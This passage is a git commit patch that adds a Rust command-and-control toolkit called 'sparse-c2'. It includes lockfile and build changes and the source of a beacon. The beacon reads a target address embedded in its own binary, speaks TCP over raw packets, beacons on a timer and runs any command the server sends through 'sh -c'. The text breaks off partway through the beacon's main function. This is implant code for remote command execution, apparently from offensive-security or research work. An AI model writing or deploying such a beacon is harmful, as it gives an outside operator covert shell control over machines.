From 56f39ad64c6d451a4244f7c5bc4b6e6582f99a7b Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Tue, 5 Dec 2023 09:33:06 -0500 Subject: [PATCH] took the tcp-test code and made a C2 server/beacon --- Cargo.lock | 361 ++++++++++----- Cargo.toml | 1 + Makefile.toml | 8 + sparse-c2/sparse-c2-beacon/Cargo.toml | 24 + sparse-c2/sparse-c2-beacon/src/main.rs | 575 ++++++++++++++++++++++++ sparse-c2/sparse-c2-client/Cargo.toml | 13 + sparse-c2/sparse-c2-client/src/main.rs | 190 ++++++++ sparse-c2/sparse-c2-messages/Cargo.toml | 10 + sparse-c2/sparse-c2-messages/src/lib.rs | 55 +++ sparse-c2/sparse-c2-server/Cargo.toml | 16 + sparse-c2/sparse-c2-server/src/main.rs | 205 +++++++++ tcp-test/client/src/main.rs | 2 +- 12 files changed, 1350 insertions(+), 110 deletions(-) create mode 100644 sparse-c2/sparse-c2-beacon/Cargo.toml create mode 100644 sparse-c2/sparse-c2-beacon/src/main.rs create mode 100644 sparse-c2/sparse-c2-client/Cargo.toml create mode 100644 sparse-c2/sparse-c2-client/src/main.rs create mode 100644 sparse-c2/sparse-c2-messages/Cargo.toml create mode 100644 sparse-c2/sparse-c2-messages/src/lib.rs create mode 100644 sparse-c2/sparse-c2-server/Cargo.toml create mode 100644 sparse-c2/sparse-c2-server/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index 4731eae..1fe13f4 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -71,6 +71,21 @@ dependencies = [ "opaque-debug", ] +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + [[package]] name = "ansi_term" version = "0.12.1" @@ -148,6 +163,12 @@ dependencies = [ "generic-array", ] +[[package]] +name = "bumpalo" +version = "3.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" + [[package]] name = "byteorder" version = "1.4.3" @@ -178,6 +199,21 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-targets", +] + [[package]] name = "cipher" version = "0.2.5" @@ -222,6 +258,12 @@ dependencies = [ "winapi", ] +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + [[package]] name = "cpufeatures" version = "0.2.7" @@ -361,7 +403,7 @@ checksum = "136526188508e25c6fef639d7927dfb3e0e3084488bf202267829cf7fc23dbdd" dependencies = [ "errno-dragonfly", "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -623,12 +665,44 @@ dependencies = [ "digest", ] +[[package]] +name = "iana-time-zone" +version = "0.1.58" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + [[package]] name = "itoa" version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" +[[package]] +name = "js-sys" +version = "0.3.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" +dependencies = [ + "wasm-bindgen", +] + [[package]] name = "lazy_static" version = "1.4.0" @@ -637,9 +711,9 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "libc" -version = "0.2.148" +version = "0.2.150" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" [[package]] name = "linux-raw-sys" @@ -683,14 +757,24 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.6" +version = "0.8.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9" +checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" dependencies = [ "libc", - "log", "wasi 0.11.0+wasi-snapshot-preview1", - "windows-sys 0.45.0", + "windows-sys", +] + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.0", + "cfg-if", + "libc", ] [[package]] @@ -739,6 +823,12 @@ dependencies = [ "memchr", ] +[[package]] +name = "once_cell" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" + [[package]] name = "opaque-debug" version = "0.3.0" @@ -769,7 +859,7 @@ dependencies = [ "libc", "redox_syscall", "smallvec", - "windows-targets 0.48.0", + "windows-targets", ] [[package]] @@ -1053,9 +1143,15 @@ dependencies = [ "errno 0.3.3", "libc", "linux-raw-sys", - "windows-sys 0.48.0", + "windows-sys", ] +[[package]] +name = "ryu" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" + [[package]] name = "scopeguard" version = "1.2.0" @@ -1079,9 +1175,9 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" [[package]] name = "serde" -version = "1.0.188" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" dependencies = [ "serde_derive", ] @@ -1097,15 +1193,26 @@ dependencies = [ [[package]] name = "serde_derive" -version = "1.0.188" +version = "1.0.193" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" dependencies = [ "proc-macro2 1.0.66", "quote 1.0.33", "syn 2.0.29", ] +[[package]] +name = "serde_json" +version = "1.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + [[package]] name = "serde_repr" version = "0.1.16" @@ -1147,14 +1254,14 @@ checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c" [[package]] name = "simple_logger" -version = "4.2.0" +version = "4.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2230cd5c29b815c9b699fb610b49a5ed65588f3509d9f0108be3a885da629333" +checksum = "da0ca6504625ee1aa5fda33913d2005eab98c7a42dd85f116ecce3ff54c9d3ef" dependencies = [ "colored", "log", "time", - "windows-sys 0.42.0", + "windows-sys", ] [[package]] @@ -1174,12 +1281,12 @@ checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" [[package]] name = "socket2" -version = "0.5.3" +version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -1232,6 +1339,60 @@ dependencies = [ "sparse-05-common", ] +[[package]] +name = "sparse-c2-beacon" +version = "0.1.0" +dependencies = [ + "anyhow", + "catconf", + "libc", + "log", + "nl-sys", + "packets", + "pcap-sys", + "rand 0.8.5", + "ringbuf", + "serde", + "serde_json", + "simple_logger", + "sparse-c2-messages", + "tokio", + "tokio-stream", +] + +[[package]] +name = "sparse-c2-client" +version = "0.1.0" +dependencies = [ + "anyhow", + "serde_json", + "sparse-c2-messages", + "structopt", + "tokio", +] + +[[package]] +name = "sparse-c2-messages" +version = "0.1.0" +dependencies = [ + "chrono", + "serde", +] + +[[package]] +name = "sparse-c2-server" +version = "0.1.0" +dependencies = [ + "anyhow", + "chrono", + "log", + "nix", + "serde_json", + "simple_logger", + "sparse-c2-messages", + "tokio", +] + [[package]] name = "sparse-protocol" version = "0.1.0" @@ -1336,7 +1497,7 @@ dependencies = [ "fastrand", "redox_syscall", "rustix", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] @@ -1399,9 +1560,9 @@ dependencies = [ [[package]] name = "tokio" -version = "1.32.0" +version = "1.34.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" +checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9" dependencies = [ "backtrace", "bytes", @@ -1413,14 +1574,14 @@ dependencies = [ "signal-hook-registry", "socket2", "tokio-macros", - "windows-sys 0.48.0", + "windows-sys", ] [[package]] name = "tokio-macros" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2 1.0.66", "quote 1.0.33", @@ -1522,6 +1683,60 @@ version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" +[[package]] +name = "wasm-bindgen" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2 1.0.66", + "quote 1.0.33", + "syn 2.0.29", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" +dependencies = [ + "quote 1.0.33", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" +dependencies = [ + "proc-macro2 1.0.66", + "quote 1.0.33", + "syn 2.0.29", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" + [[package]] name = "winapi" version = "0.3.9" @@ -1545,27 +1760,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] -name = "windows-sys" -version = "0.42.0" +name = "windows-core" +version = "0.50.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +checksum = "af6041b3f84485c21b57acdc0fee4f4f0c93f426053dc05fa5d6fc262537bbff" dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", -] - -[[package]] -name = "windows-sys" -version = "0.45.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" -dependencies = [ - "windows-targets 0.42.2", + "windows-targets", ] [[package]] @@ -1574,22 +1774,7 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets 0.48.0", -] - -[[package]] -name = "windows-targets" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" -dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", + "windows-targets", ] [[package]] @@ -1598,93 +1783,51 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7b1eb6f0cd7c80c79759c929114ef071b87354ce476d9d94271031c0497adfd5" dependencies = [ - "windows_aarch64_gnullvm 0.48.0", - "windows_aarch64_msvc 0.48.0", - "windows_i686_gnu 0.48.0", - "windows_i686_msvc 0.48.0", - "windows_x86_64_gnu 0.48.0", - "windows_x86_64_gnullvm 0.48.0", - "windows_x86_64_msvc 0.48.0", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", ] -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" - [[package]] name = "windows_aarch64_gnullvm" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91ae572e1b79dba883e0d315474df7305d12f569b400fcf90581b06062f7e1bc" -[[package]] -name = "windows_aarch64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" - [[package]] name = "windows_aarch64_msvc" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b2ef27e0d7bdfcfc7b868b317c1d32c641a6fe4629c171b8928c7b08d98d7cf3" -[[package]] -name = "windows_i686_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" - [[package]] name = "windows_i686_gnu" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "622a1962a7db830d6fd0a69683c80a18fda201879f0f447f065a3b7467daa241" -[[package]] -name = "windows_i686_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" - [[package]] name = "windows_i686_msvc" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4542c6e364ce21bf45d69fdd2a8e455fa38d316158cfd43b3ac1c5b1b19f8e00" -[[package]] -name = "windows_x86_64_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" - [[package]] name = "windows_x86_64_gnu" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ca2b8a661f7628cbd23440e50b05d705db3686f894fc9580820623656af974b1" -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" - [[package]] name = "windows_x86_64_gnullvm" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7896dbc1f41e08872e9d5e8f8baa8fdd2677f29468c4e156210174edc7f7b953" -[[package]] -name = "windows_x86_64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" - [[package]] name = "windows_x86_64_msvc" version = "0.48.0" diff --git a/Cargo.toml b/Cargo.toml index 2401f91..58e4e92 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,6 +5,7 @@ members = [ "examples/*/*", "sparse-protocol", "sparse-05/*", + "sparse-c2/*", "tcp-test/client" ] resolver = "2" diff --git a/Makefile.toml b/Makefile.toml index 76df7c2..b0159b2 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -34,6 +34,14 @@ script = [ "docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test" ] +[tasks.sparse-c2] +workspace = false +script = [ + "docker-compose run build build --bin sparse-c2-beacon ${@}", + "docker-compose run build build --bin sparse-c2-server ${@}", + "docker-compose run build build --bin sparse-c2-client ${@}", +] + [tasks.run-tcp-test] workspace = false dependencies = ["tcp-test"] diff --git a/sparse-c2/sparse-c2-beacon/Cargo.toml b/sparse-c2/sparse-c2-beacon/Cargo.toml new file mode 100644 index 0000000..4c8975b --- /dev/null +++ b/sparse-c2/sparse-c2-beacon/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "sparse-c2-beacon" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +pcap-sys = { path = "../../pcap-sys" } +packets = { path = "../../packets" } +nl-sys = { path = "../../nl-sys" } +sparse-c2-messages = { path = "../sparse-c2-messages" } +rand = "0.8.5" +tokio = { version = "1.32.0", features = ["full"] } +anyhow = "1.0.75" +tokio-stream = { version = "0.1.14", features = ["full"] } +#smoltcp = { version = "0.10", features = ["socket-tcp", "phy-raw_socket", "std", "async", "medium-ethernet", "proto-ipv4", "reassembly-buffer-size-65536", "fragmentation-buffer-size-65536", "proto-ipv4-fragmentation", "log", "verbose"] } +libc = "0.2.148" +log = { version = "0.4.20", features = [ "kv_unstable" ] } +simple_logger = "4.2.0" +ringbuf = "0.3.3" +serde = { version = "1.0.193", features = ["derive"] } +serde_json = "1.0.108" +catconf = "0.1.2" diff --git a/sparse-c2/sparse-c2-beacon/src/main.rs b/sparse-c2/sparse-c2-beacon/src/main.rs new file mode 100644 index 0000000..a16676a --- /dev/null +++ b/sparse-c2/sparse-c2-beacon/src/main.rs @@ -0,0 +1,575 @@ +use std::{ + collections::VecDeque, + mem::MaybeUninit, + net::{Ipv4Addr, SocketAddr}, + process::Stdio, + time::{Duration, Instant}, +}; + +use anyhow::{anyhow, bail, Context}; +use ringbuf::LocalRb; +use tokio::{ + io::Stdout, + process::Command, + sync::mpsc, + task, + time::{sleep, sleep_until}, +}; +use tokio_stream::StreamExt; + +use nl_sys::{netlink, route}; +use packets::{ + self, ARPMode, ARPPacket, ARPProto, EthernetPacket, IPv4Packet, IPv4Pkt, Layer3Packet, + Layer3Pkt, Layer4Packet, Layer4Pkt, TCPPacket, TCPPacketBuilder, TCPPkt, +}; +use pcap_sys; +use sparse_c2_messages::{BeaconCommand, BeaconOptions}; + +struct PeerInfo { + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + local_port: u16, +} + +enum Timeout { + Idle { heartbeat: Option }, + Retransmit {}, +} + +#[derive(Default)] +struct TcpSocket { + tx_buffer: LocalRb; 65536]>, + rx_buffer: LocalRb; 65536]>, + first_ack: u32, + first_rack: u32, + local_seq_no: u32, + remote_seq_no: u32, + remote_last_ack: Option, + remote_last_win: u16, + local_rx_last_seq: Option, + local_rx_last_ack: Option, + state: TcpState, + peer_info: Option, + retransmit_timeout: Option, + last_packet_received: Option, +} + +impl TcpSocket {} + +#[derive(Default, Debug, Clone, Copy)] +enum TcpState { + Listen, + SynSent, + SynReceived, + Established, + FinWait1, + FinWait2, + CloseWait, + Closing, + LastAck, + TimeWait, + #[default] + Closed, +} + +enum TcpOptions { + EndOfList, + NoOp, + MaxSegmentSize(u16), +} + +impl TcpOptions { + fn get_bytes(&self) -> Vec { + match self { + Self::EndOfList => vec![0x00], + Self::NoOp => vec![0x01], + Self::MaxSegmentSize(size) => [&[0x02, 0x04][..], &size.to_be_bytes()].concat(), + } + } +} + +fn socket_accepts_packet(socket: &TcpSocket, ip: &IPv4Pkt<'_>, tcp: &TCPPkt<'_>) -> bool { + if let Some(peer) = &socket.peer_info { + peer.local_addr == ip.dest_ip() + && peer.remote_addr == ip.source_ip() + && peer.local_port == tcp.dstport() + && peer.remote_port == tcp.srcport() + } else { + false + } +} + +async fn connect( + socket: &mut TcpSocket, + remote_addr: Ipv4Addr, + remote_port: u16, + local_addr: Ipv4Addr, + send_state_changed: &mpsc::Sender, +) -> (u16, TCPPacket) { + socket.state = TcpState::SynSent; + let local_port: u16 = loop { + let port = rand::random(); + if port > 40000 { + break port; + } + }; + let _ = send_state_changed.send(TcpState::SynSent).await; + socket.peer_info = Some(PeerInfo { + remote_addr, + remote_port, + local_addr, + local_port, + }); + + socket.local_seq_no = rand::random(); + socket.first_ack = socket.local_seq_no; + + let packet = TCPPacketBuilder::default() + .srcport(local_port) + .dstport(remote_port) + .syn(true) + .window(64240) + .seqnumber(socket.local_seq_no) + //.options([TcpOptions::MaxSegmentSize(64240).get_bytes()].concat()) + .build(local_addr, remote_addr, vec![], None); + + (local_port, packet) +} + +fn process_timeout(socket: &mut TcpSocket) -> anyhow::Result)>> { + Ok(None) +} + +async fn process_packet( + socket: &mut TcpSocket, + packet: TCPPkt<'_>, + send_state_changed: &mpsc::Sender, +) -> anyhow::Result<(Vec<(TCPPacketBuilder, Vec)>, Option>)> { + match (&socket.state, &socket.peer_info) { + (TcpState::SynSent, Some(peer)) if packet.ack() && packet.syn() => { + log::debug!("established connection with peer"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.first_rack = packet.seqnumber(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.state = TcpState::Established; + let _ = send_state_changed.send(TcpState::Established).await; + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.fin() => { + log::debug!("Received fin!"); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += 1; + + socket.state = TcpState::CloseWait; + let _ = send_state_changed.send(TcpState::CloseWait).await; + + let ackbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + socket.local_seq_no += 1; + + let _ = send_state_changed.send(TcpState::Closed).await; + + let finbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(ackbuilder, vec![]), (finbuilder, vec![])], None)) + } + (TcpState::Established, Some(peer)) if packet.ack() => { + log::debug!("received packet from server",); + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_last_win = packet.window(); + socket.remote_seq_no += (packet.data().len() & 0xFFFFFFFF) as u32; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + if !packet.data().is_empty() { + log::debug!("received data: {:?}", packet.data()); + } + + Ok(( + vec![(tcppacketbuilder, vec![])], + Some(packet.data().to_owned()), + )) + } + (TcpState::FinWait1, _) if packet.ack() => { + socket.state = TcpState::FinWait2; + let _ = send_state_changed.send(TcpState::FinWait2).await; + + Ok((vec![], None)) + } + (TcpState::FinWait2, Some(peer)) if packet.fin() => { + socket.state = TcpState::Closed; + let _ = send_state_changed.send(TcpState::Closed).await; + + socket.remote_last_ack = Some(socket.local_seq_no); + socket.remote_seq_no = packet.seqnumber() + 1; + socket.remote_last_win = packet.window(); + socket.local_seq_no += 1; + + let tcppacketbuilder = TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .ack(true) + .window(512) + .acknumber(socket.remote_seq_no) + .seqnumber(socket.local_seq_no); + + Ok((vec![(tcppacketbuilder, vec![])], None)) + } + _ => Ok((vec![], None)), + } +} + +fn resp_tcp(incoming: &TCPPkt<'_>) -> TCPPacketBuilder { + TCPPacketBuilder::default() + .srcport(incoming.dstport()) + .dstport(incoming.srcport()) +} + +fn seq_tcp(socket: &TcpSocket, mut builder: TCPPacketBuilder) -> TCPPacketBuilder { + builder +} + +fn recv_data(socket: &mut TcpSocket, data: &mut [u8]) -> anyhow::Result { + let (mut prod, mut cons) = socket.tx_buffer.split_ref(); + + let bytes_read = cons.pop_slice(data); + socket.remote_seq_no += (bytes_read & 0xFFFFFFFF) as u32; + + Ok(bytes_read) +} + +fn send_data( + socket: &mut TcpSocket, + data: Vec, +) -> anyhow::Result)>> { + let (mut prod, cons) = socket.tx_buffer.split_ref(); + + if cons.is_empty() { + _ = prod.push_iter(&mut data.into_iter()); + + Ok(vec![]) + } else { + _ = prod.push_iter(&mut data.into_iter()); + Ok(vec![]) + } +} + +fn close_connection(socket: &mut TcpSocket) -> anyhow::Result { + socket.state = TcpState::FinWait1; + + let peer = socket + .peer_info + .as_ref() + .context("no connection to close")?; + + Ok(TCPPacketBuilder::default() + .srcport(peer.local_port) + .dstport(peer.remote_port) + .fin(true) + .ack(true) + .window(512) + .acknumber( + socket + .local_rx_last_ack + .context("information from synchronizing missing")?, + ) + .seqnumber(socket.local_seq_no) + .build(peer.local_addr, peer.remote_addr, vec![], None)) +} + +struct TcpSocketHandle { + state_changed: mpsc::Receiver, + send_channel: mpsc::Sender>, + close: mpsc::Sender<()>, + start_connect: mpsc::Sender<(Ipv4Addr, u16)>, + receiver_channel: mpsc::Receiver>, +} + +async fn use_socket(conf: BeaconOptions, mut socket_handle: TcpSocketHandle) { + log::info!("Help!"); + loop { + log::info!("Starting another loop iteration"); + sleep(Duration::from_secs(conf.sleep_secs.into())).await; + log::info!("Done sleeping, verifying connection"); + + let _ = socket_handle + .start_connect + .send((conf.target_ip, conf.target_port)) + .await; + + loop { + let state = socket_handle.state_changed.recv().await; + dbg!(&state); + match state { + Some(TcpState::Established) => break, + _ => {} + } + } + + log::info!("Connected to server!"); + + match socket_handle.receiver_channel.recv().await { + Some(bytes) => { + log::info!("received a command!"); + match serde_json::from_slice::(&bytes) { + Ok(BeaconCommand::Command(cmd)) => { + log::info!("running command: {}", cmd.command); + let _ = Command::new("sh") + .arg("-c") + .arg(cmd.command) + .stdout(Stdio::inherit()) + .output() + .await; + } + Ok(BeaconCommand::Noop) => {} + Err(e) => { + log::error!("could not parse command from server {e:?}"); + } + } + } + None => { + log::error!("could not get packets from server") + } + } + + log::info!("Done getting data"); + + loop { + let state = socket_handle.state_changed.recv().await; + log::debug!("got state: {state:?}"); + match state { + Some(TcpState::Closed) => break, + _ => {} + } + } + + log::info!("Finished connection!"); + } +} + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Trace) + .with_module_level("tcp_test", log::LevelFilter::Info) + .init()?; + + let conf_raw = catconf::read_from_exe(sparse_c2_messages::CONF_SEPARATOR, 4096)?; + let conf: sparse_c2_messages::BeaconOptions = serde_json::from_slice(&conf_raw)?; + + let ip = conf.target_ip; + + let (ifname, _, srcip, src_mac, dst_mac, _) = { + let socket = netlink::Socket::new()?; + + let routes = socket.get_routes()?; + let neighs = socket.get_neigh()?; + let links = socket.get_links()?; + let addrs = socket.get_addrs()?; + + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))? + }; + + let mut socket = TcpSocket::default(); + let mut 